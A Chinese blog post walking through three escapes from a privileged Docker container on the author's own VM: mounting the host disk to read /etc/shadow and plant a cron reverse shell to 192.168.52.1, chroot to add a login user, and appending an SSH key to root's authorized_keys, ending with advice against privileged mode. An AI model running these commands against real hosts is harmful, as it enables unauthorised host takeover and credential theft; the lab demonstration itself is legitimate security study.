AI 摘要(由 ChatGPT 总结生成):
文章介绍了在Docker中使用Privileged特权模式启动容器,并通过演示展示了容器逃逸的三种方法。第一种方法是通过挂载磁盘设备,访问宿主机文件,并在定时任务中写入反弹Shell。第二种方法使用chroot命令切根,创建登陆用户,实现对宿主机的访问。第三种方法通过写入SSH公私钥实现无密码登录。文章强调了使用特权模式运行容器时需要谨慎,并提醒读者在非必要情况下避免使用特权模式。

前言

在一次对被黑客入侵的服务器进行相关排查,根据相关排查发现在宿主机上不仅存在“挖矿”进程运行,在 Docker 容器内也存在挖矿进程运行,排查时发现 Docker 容器使用了 Privileged 特权模式启动,遂本文就根据此情形简单写一篇关于 Privileged 特权模式下的容器逃逸。

Privileged 特权启动容器

如果容器在启动时添加了 --privileged 参数则会具备全部 Capabilities ,容器可以访问主机所有 device 以及具有 mount 操作的权限,还包括禁用 SeccompAppArmor 等安全机制。所以,特权容器几乎拥有所有设备的访问权限,可以通过一些设置来达到从容器内部和从外部访问相同的效果。例如我们可以基于该特权模式实现 Docker run in Docker ,其相关文章可参考:docker-can-now-run-within-docker

注:本文在个人虚拟机中演示,虚拟机系统为 CentOS 7 ,不同 Linux 系统可能部分命令操作不太一样,但原理相同,下面开始实战演示。

容器启动

首先使用 Privileged 特权模式创建并启动一个容器:

docker run --rm -it --privileged=true alpine:latest

权限检测

在容器内部执行下面的命令,重点看下特权容器中获取的 Cap 集合,从而判断容器是不是特权模式,如果是以特权模式启动的话,其 CapEff 对应的掩码值应该为 0000003fffffffff 或是 0000001fffffffff ,如下:

/ # cat /proc/self/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000001fffffffff
CapEff:    0000001fffffffff
CapBnd:    0000001fffffffff
CapAmb:    0000000000000000
/ # 
CapEff 主要是检查线程的执行权限,可以在装有 Docker 的机器上执行命令 capsh --decode=0000001fffffffff 进行解码,并根据该文章特权容器判断相关权限集合。

逃逸复现

方法一

查看挂载磁盘设备:

/ # fdisk -l
Disk /dev/sda: 60 GB, 64424509440 bytes, 125829120 sectors
7832 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device  Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/sda1 *  0,32,33     130,170,40        2048    2099199    2097152 1024M 83 Linux
/dev/sda2    130,170,41  1023,254,63    2099200   41943039   39843840 18.9G 8e Linux LVM
/dev/sda3    562,212,35  844,63,51     41943040   62914559   20971520 10.0G 8e Linux LVM
/dev/sda4    844,63,52   664,127,39    62914560  125829119   62914560 30.0G 8e Linux LVM
Disk /dev/dm-0: 57 GB, 61190701056 bytes, 119513088 sectors
7439 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/dm-0 doesn't contain a valid partition table
Disk /dev/dm-1: 2048 MB, 2147483648 bytes, 4194304 sectors
261 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/dm-1 doesn't contain a valid partition table
/ # 

将宿主机文件挂载到 /mnt 目录下:

mount /dev/dm-0 /mnt

尝试访问宿主机 /etc/shadow 文件,可以看到正常访问:

/ # cat /mnt/etc/shadow
root:$6$xx$axxxxxxxx:18966:0:99999:7:::
bin:*:18353:0:99999:7:::
daemon:*:18353:0:99999:7:::
……

那么也可以在定时任务中写入反弹 Shell:

/ # echo "*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.52.1/2023 0>&1" > /mnt/var/spool/cron/root

等待约 1 分钟,即可收到宿主机的反弹 Shell ,如图:

image-20230915121633213

取消宿主机文件挂载:

umount /mnt

方法二

该方法可利用 chroot 命令进行切根,并创建一个登陆用户,从而使用新增用户登录系统,命令如下:

# 挂载宿主机文件
/ # mount /dev/dm-0 /mnt
/ #

# chroot 切根
/ # chroot /mnt
[root@3209e48fe515 /]#

# 添加 test 用户
[root@3209e48fe515 /]# useradd test
[root@3209e48fe515 /]#

# 给 test 用户设置密码:test
[root@3209e48fe515 /]# echo "test" | passwd test --stdin
Changing password for user test.
passwd: all authentication tokens updated successfully.
[root@3209e48fe515 /]#

下面即可使用 ssh 对宿主机进行链接,如下图:

image-20230915122817541

退出 chroot 环境并取消宿主机文件挂载:

[root@3209e48fe515 /]# exit
exit
/ # umount /mnt
/ # 

方法三

此方法主要是写入 SSH 公私钥的方式实现无密码登录,操作命令如下:

# 容器内的用户为 root
/ # whoami
root

# 挂载宿主机文件到容器内
/ # mount /dev/dm-0 /mnt

# 宿主机存在 authorized_keys 文件
/ # ls /mnt/root/.ssh/
authorized_keys       known_hosts

# 写入 SSH 公钥到 root 用户的 authorized_keys 文件中
/ # echo "ssh-rsa AAAAB3NxxxxxxxxxSc= kali@kali" >> /mnt/root/.ssh/authorized_keys 
/ #

下面使用 SSH 私钥对其进行用户登录,如图:

image-20230915155419856

小结

此处仅说明了 Docker 容器下启用 Privileged 特权模式容器逃逸的部分方法,还有例如通过访问主机上的 Docker 套接字(通常是 /var/run/docker.sock )来与 Docker 守护程序进行通信,从而执行 Docker 操作等以及其它的方法。一个容器若使用了特权模式,那么它将会以很高的权限运行,所以非必要情况不要对容器使用特权模式运行,即使使用,也要做好相关安全措施。

End

本文标题:记一次Docker下的Privileged特权模式容器逃逸

本文链接:https://www.isisy.com/1510.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏